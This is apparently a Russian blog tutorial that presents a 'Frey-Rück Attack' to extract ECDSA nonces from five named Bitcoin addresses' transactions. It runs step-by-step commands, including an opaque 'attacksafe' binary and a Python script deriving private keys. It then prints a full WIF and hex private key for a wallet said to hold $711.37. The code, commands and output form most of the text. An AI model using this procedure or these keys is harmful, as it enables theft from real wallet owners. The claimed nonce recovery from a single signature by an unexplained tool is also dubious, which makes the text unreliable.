Реализуем Frey-Rück Attack чтобы получить секретный ключ “K” (NONCE)

В этой статье мы реализуем эффективный алгоритм Frey-Rück Attack для подписи ECDSA в транзакции блокчейна Биткоина. В наших более ранних публикациях мы несколько раз затрагивали тему уязвимости подписи ECDSA. При критической уязвимости транзакции блокчейна Биткоина мы можем решить довольно сложную задачу дискретного логарифмирования для извлечение из уязвимой подписи ECDSA секретный ключ "K" (NONCE), чтобы в конечном итоге восстановить Биткоин Кошелек, так как зная секретный ключ мы можем получить приватный ключ.

Для этого существуют несколько алгоритмов из списка популярных атак на Биткоин, один из которых “Frey-Rück Attack on Bitcoin”.

www.attacksafe.ru/frey-ruck-attack-on-bitcoin

Мы не будем погружаться в теоретические аспекты данной атаки перейдем сразу к экспериментальной части

Из нашей практики нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакции и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA были совершены с раскрытием секретного ключа "K" (NONCE).

Рассмотрим пять Биткоин Адресов:

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL516CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp212Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgGhttps://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fbhttps://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Qhttps://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8achttps://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954dbhttps://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea

Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина

Откроем [TerminalGoogleColab].

Реализуем эффективный алгоритм Frey-Rück Attack с помощью нашей репозитории 14FreyRuckAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/14FreyRuckAttack/

ls

Установим все нужные нам пакеты

requirements.txt

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

Подготовим RawTX для атаки

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgGhttps://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72

RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe

Применение:

./attacksafe -help

-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode

./attacksafe -version

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list

далее выберем -tool: frey_ruck_attack

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt

Deployments ECDSA:

SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

Сделаем проверку с помощью Python-скрипта point2gen.py

Для этого установим библиотеку эллиптических кривых ECPy:

pip3 install ECPy

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen = (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

ВСЕ ВЕРНО!

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ

Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
return hex(n).replace("0x","")

def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Откроем bitaddress и проверим:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Приватный ключ найден!

www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37

Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 для этого же Биткоин Адреса

Подготовим RawTX для атаки

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgGhttps://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt

Deployments ECDSA:

SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

Сделаем проверку с помощью Python-скрипта point2gen.py

Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen = (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

ВСЕ ВЕРНО!

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ

Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
return hex(n).replace("0x","")

def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Откроем bitaddress и проверим:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Приватный ключ найден!

www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/wqHES7r1qyc

Источник: https://cryptodeep.ru/frey-ruck-attack

Криптоанализ